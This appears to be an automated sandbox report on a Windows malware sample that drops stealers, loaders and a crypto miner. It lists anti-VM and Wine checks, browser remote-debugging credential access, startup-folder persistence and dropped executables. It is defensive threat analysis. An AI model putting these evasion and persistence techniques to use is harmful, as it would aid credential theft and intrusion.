Malware Analysis Report

2025-04-03 09:15

Sample ID 250306-e26vsaypx8
Target 7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe
SHA256 7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d
Tags
amadey litehttp stealc systembc vidar xmrig 092155 ir7am traff1 bot credential_access defense_evasion discovery execution miner persistence spyware stealer trojan healer dropper
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d

Threat Level: Known bad

The file 7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe was found to be: Known bad.

Malicious Activity Summary

amadey litehttp stealc systembc vidar xmrig 092155 ir7am traff1 bot credential_access defense_evasion discovery execution miner persistence spyware stealer trojan healer dropper

Amadey

Stealc family

Detect Vidar Stealer

Amadey family

LiteHTTP

Healer family

Xmrig family

Stealc

SystemBC

Systembc family

Litehttp family

Vidar family

Vidar

xmrig

Detects Healer an antivirus disabler dropper

Healer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

XMRig Miner payload

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Uses browser remote debugging

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Reads user/profile data of local email clients

Reads data files stored by FTP clients

Unsecured Credentials: Credentials In Files

Identifies Wine through registry keys

.NET Reactor proctector

Checks computer location settings

Checks BIOS information in registry

Reads user/profile data of web browsers

Drops startup file

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Enumerates processes with tasklist

AutoIT Executable

Drops file in Windows directory

Enumerates physical storage devices

Program crash

Unsigned PE

Browser Information Discovery

System Location Discovery: System Language Discovery

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of FindShellTrayWindow

Modifies data under HKEY_USERS

Enumerates system info in registry

Modifies system certificate store

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious use of SendNotifyMessage

Delays execution with timeout.exe

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

Kills process with taskkill

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2025-03-06 04:27

Signatures

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2025-03-06 04:27

Reported

2025-03-06 04:29

Platform

win10v2004-20250217-en

Max time kernel

149s

Max time network

151s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Amadey family

amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

LiteHTTP

stealer bot litehttp

Litehttp family

litehttp

Stealc

stealer stealc

Stealc family

stealc

SystemBC

trojan systembc

Systembc family

systembc

Vidar

stealer vidar

Vidar family

vidar

Xmrig family

xmrig

xmrig

miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM)

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\ProgramData\reswb\jwmeimu.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\ProgramData\reswb\jwmeimu.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\ProgramData\reswb\jwmeimu.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key value queried \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_update.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\ProgramData\reswb\jwmeimu.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe N/A

Identifies Wine through registry keys

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\ProgramData\reswb\jwmeimu.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
